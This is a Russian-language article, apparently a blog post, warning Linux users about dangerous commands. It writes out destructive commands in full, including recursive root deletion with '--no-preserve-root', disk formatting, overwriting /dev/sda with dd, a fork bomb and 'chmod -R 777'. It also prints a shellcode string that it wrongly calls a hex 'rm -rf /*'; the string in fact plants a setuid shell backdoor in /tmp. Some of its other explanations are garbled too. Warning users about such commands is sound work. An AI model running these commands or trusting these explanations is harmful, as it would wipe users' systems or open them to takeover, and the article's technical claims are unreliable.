Как мы знаем, у пользователей Linux есть множество команд и инструментов, позволяющих гибко настраивать и контролировать каждый аспект ОС. Однако, с большой силой приходит большая ответственность – есть множество команд, способных нарушить обычную работу Linux и привести к печальным последствиям.
Поэтому давайте вместе разберемся, какие команды Linux не стоит вводить ни при каких обстоятельствах.
rm -rf /* – самая любимая команда у интернет-троллей, которые любят жестоко поиздеваться над новичками, кидая эту команду в различные обсуждения и чаты. Давайте изучим ее подробнее:
rm – команда для удаления файлов/каталогов;
-r – флаг, необходимый для рекурсивного удаления всех файлов внутри папки;
-f – флаг, позволяющий выполнить операцию без спроса у пользователя.
Без root-прав эта команда не принесет никакого вреда. Даже sudo rm -rf / не создаст никаких проблем, так как у большей части популярных дистрибутивов есть защита от выполнения этой команды. За это отвечает функция --preserve-root.
Однако, если вы все же хотите выполнить эту команду, у вас есть два варианта:
с отключением защиты: sudo rm -rf / --no-preserve-root
и более простой: sudo rm -rf /*
После выполнения система начнет рекурсивно удалять вообще все файлы, начиная с корневой директории, пока система не зависнет с сообщением “Error deleting file”. После перезагрузки Linux обычно выдает ошибку grub-rescue.
Пользователи, знакомые с файловыми системами, наверняка знают что такое > /dev/sda. Эта строка запускает команду и посылает результат ее работы прямо на жесткий диск, записывая данные непосредственно на него, тем самым повреждая файловую систему. Вот пример:
Команда заменит раздел, содержащий все данные, необходимые для загрузки системы, строкой "Hello".
Внутри каждой Linux-системы есть бездна. И эта бездна – /dev/null. Все, что окажется в этой области, будет удалено навсегда. Давайте разберем и эту команду:
mv – необходима для переноса файлов и каталогов в указанное место;
~ – указатель на домашний каталог;
/dev/null – перемещает домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.
И хотя система не выдаст ошибку и будет работать исправно, после выполнения mv ~ /dev/null все данные пользователя бесследно исчезнут.
Команда, подобная format c: на Windows. Устроена она довольно просто:
mkfs.ex3 – создает новую файловую систему ext3 на устройстве;
/dev/sda – указывает на жесткий диск.
Вот и все! Несложная команда оставляет пользователя без всех данных.
:(){:|:&};: – комбинация из специальных символов, как будто выбранных наугад. Однако, она достаточно мощная, чтобы остановить работу работающей системы, просто заняв собой все доступные ресурсы.
Работает она предельно просто – создаёт функцию, запускающую еще два своих экземпляра, которые потом будут повторять этот процесс. И это будет продолжаться до тех пор, пока процесс не займет всю физическую память компьютера, заставив его зависнуть.
С command > config_filename все просто – она просто очищает содержимое конфигурационного файла и записывает в него новые данные. Таким образом можно легко повредить систему, случайно перезаписав важный конфигурационный файл.
Здесь все просто – команда забивает память компьютера мусором. А вот как она это делает:
dd – низкоуровневый инструмент для копирования;
if=/dev/random – задает /dev/random в качестве входа;
of=/dev/sda – выдает данные на жесткий диск.
Мощный компьютер способен выдержать эту команду, но вот слабые системы могут очень сильно пострадать.
chmod -R 777/ открывает доступ ко всем файлам, расположенным в корневом разделе. Это не очень хорошо, так как после выполнения команды любой пользователь права на чтение, запись и выполнение любых файлов.
Команда, позволяющая скачать и выполнить скрипт, взятый с сайта в интернете. В этом случае, если скрипт окажется вредоносным, то безопасность всей системы пользователя окажется под угрозой, ведь команда выполнит его с root-правами, даже не спрашивая разрешения на выполнение.
Linux позволяет запускать команды в терминале самыми разными способами. Один из них – ввод команды в шестнадцатеричном коде.
Пример:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Несмотря на необычный внешний вид, эта команда является шестнадцатеричной rm -rf /*. Поэтому будьте осторожны, копируя необычные команды!
Помните, что именно вы отвечаете за последствия необдуманного выполнения опасных команд. Ведь работа UNIX заключается не в том, чтобы не дать вам прострелить себе ногу. А в том, что если вы решили это сделать – отправить пулю в вашу ногу самым эффективным способом, который у нее есть.
Это в той же степени применимо к Linux. Вы получаете полный контроль над своей системой и только вы решаете, что с ней делать.
Одно найти легче, чем другое. Спойлер: это не темная материя